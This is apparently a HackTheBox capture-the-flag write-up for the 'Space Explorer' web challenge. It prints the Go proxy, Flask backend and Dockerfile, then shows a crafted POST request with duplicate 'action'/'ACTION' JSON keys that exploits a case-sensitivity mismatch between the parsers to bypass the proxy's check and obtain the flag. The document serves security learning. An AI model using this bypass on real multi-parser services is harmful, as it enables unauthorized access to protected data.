Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
HackTheBox/Challenges/Challenge Space Explorer.en.md READ_ONLY

Challenge Space Explorer

This challenge consists of analyzing a web application with a microservice architecture based on Go and Python Flask and the solution consists of exploiting a JSON Key Collision caused by parser desynchronization to bypass security checks and retrieve the flag.

An analysis of the application's source code reveals the structure of the microservices. The reverse proxy, written in Go, handles the initial incoming requests. Inspecting the main.go file shows a validation mechanism for the /execute endpoint.

package main

import (
    "bytes"
    "encoding/json"
    "io"
    "log"
    "net/http"
)

type RequestData struct {
    Action string `json:"action"`
}

func homeHandler(w http.ResponseWriter, r *http.Request) {
    html := `<!DOCTYPE html>
<html lang="en">
...
</html>`
    w.Header().Set("Content-Type", "text/html")
    w.Write([]byte(html))
}

func executeHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
        return
    }

    body, err := io.ReadAll(r.Body)
    if err != nil {
        http.Error(w, "Failed to read request body", http.StatusBadRequest)
        return
    }

    var requestData RequestData
    if err := json.Unmarshal(body, &requestData); err != nil {
        http.Error(w, "Invalid JSON", http.StatusBadRequest)
        return
    }

    switch requestData.Action {
    case "getcosmic":
        resp, err := http.Post("http://localhost:8081/execute", "application/json", bytes.NewBuffer(body))
        if err != nil {
            log.Printf("Failed to reach cosmic scanner: %v", err)
            http.Error(w, "Scanner offline", http.StatusInternalServerError)
            return
        }
        defer resp.Body.Close()
        io.Copy(w, resp.Body)
    case "getSecureCode":
        w.Write([]byte("Access denied: Invalid security clearance"))
    default:
        http.Error(w, "Invalid command", http.StatusBadRequest)
    }
}

func main() {
    http.HandleFunc("/", homeHandler)
    http.HandleFunc("/execute", executeHandler)

    log.Println("Cosmic Explorer running on http://localhost:8080")
    log.Fatal(http.ListenAndServe(":8080", nil))
}

The Go proxy verifies the action parameter within the JSON body. If the action is set to getSecureCode, it denies access and returns an error message. Otherwise, if the action is getcosmic, it forwards the request to the Python backend.

The Dockerfile provides insight into the environment configuration, confirming the use of Go 1.23 and Python 3.9, and revealing that the flag is stored within an environment variable.

FROM golang:1.23 AS go-builder

WORKDIR /usr/src/go-getter

COPY go-app/go.mod go-app/go.sum ./
RUN go mod download
COPY go-app/*.go ./

RUN CGO_ENABLED=0 GOOS=linux go build -o /docker-gs-ping

FROM python:3.9-slim

WORKDIR /usr/src/python-service

COPY python-service/app.py .

RUN pip install --no-cache-dir flask gunicorn

COPY --from=go-builder /docker-gs-ping /usr/local/bin/docker-gs-ping
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh /usr/local/bin/docker-gs-ping

ENV FLAG="HTB{f4k3_fl4g_4_t3st1ng}"

EXPOSE 8080

ENTRYPOINT ["/entrypoint.sh"]

Examining the Python backend in app.py shows how the request is processed once it successfully passes the Go proxy.

from flask import Flask, request, jsonify
import random
import os

app = Flask(__name__)

COSMIC_ANOMALIES = [
    {
        "name": "Quantum Singularity",
        "src": "https://images.unsplash.com/photo-1462331940025-496dfbfc7564?w=600"
    },
    {
        "name": "Nebula Cluster",
        "src": "https://images.unsplash.com/photo-1506318137071-a8e063b4bec0?w=600"
    },
    {
        "name": "Pulsar Emission",
        "src": "https://images.unsplash.com/photo-1465101162946-4377e57745c3?w=600"
    },
    {
        "name": "Dark Matter Veil",
        "src": "https://images.unsplash.com/photo-1534796636912-3b95b3ab5986?w=600"
    },
    {
        "name": "Supernova Remnant",
        "src": "https://images.unsplash.com/photo-1454789548928-9efd52dc4031?w=600"
    }
]

@app.route('/execute', methods=['POST'])
def execute():
    if not request.is_json:
        return jsonify({"error": "Invalid transmission format"}), 400

    data = request.get_json()

    if 'action' not in data:
        return jsonify({"error": "No command received"}), 400

    if data['action'] == "getcosmic":
        anomaly = random.choice(COSMIC_ANOMALIES)
        return jsonify(anomaly)
    elif data['action'] == "getSecureCode":
        return jsonify({
            "flag": os.getenv("FLAG", "HTB{flag_not_set}"),
            "name": "Captain's Log",
            "src": "https://images.unsplash.com/photo-1534447677768-be436bb09401?w=600"
        })
    else:
        return jsonify({"error": "Unknown command"}), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8081, debug=True)

The Python service evaluates the action field differently. If the backend receives an action equal to getSecureCode, it retrieves and returns the hidden flag. This creates a discrepancy between the two services: the Go proxy blocks getSecureCode, while the Python backend requires it to reveal the flag.

To bypass the security validation, the JSON parser desynchronization between Go and Python can be exploited. Go's json.Unmarshal function performs case-insensitive matching when mapping JSON keys to struct fields. If multiple keys match, the last parsed key overwrites previous values. In contrast, Python's JSON parser is case-sensitive and strictly processes the exact key.

By sending a crafted HTTP request with duplicate action keys—one lowercase and one uppercase—the Go proxy can be deceived.

POST /execute HTTP/1.1
Host: 154.57.164.70:31916
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.70:31916/
Content-Type: application/json
Content-Length: 54
Origin: http://154.57.164.70:31916
Sec-GPC: 1
Connection: keep-alive
Priority: u=0

{
"action":"getSecureCode",
"ACTION": "getcosmic"
}

When this payload is processed, the Go proxy maps both action and ACTION to its struct. The latter key, ACTION with the value getcosmic, overwrites the former, satisfying the proxy's validation and causing it to forward the request. Once the Python backend receives the same payload, it extracts the exact lowercase action key, which holds the value getSecureCode. This triggers the logic to expose the flag.

HTTP/1.1 200 OK
Date: Mon, 20 Jul 2026 23:15:17 GMT
Content-Length: 128
Content-Type: text/plain; charset=utf-8

{
    "flag": "HTB{FLAG}",
    "name": "Captain's Log",
    "src": "https://images.unsplash.com/photo-1534447677768-be436bb09401?w=600"
}

The server responds with the exact flag, successfully resolving the challenge.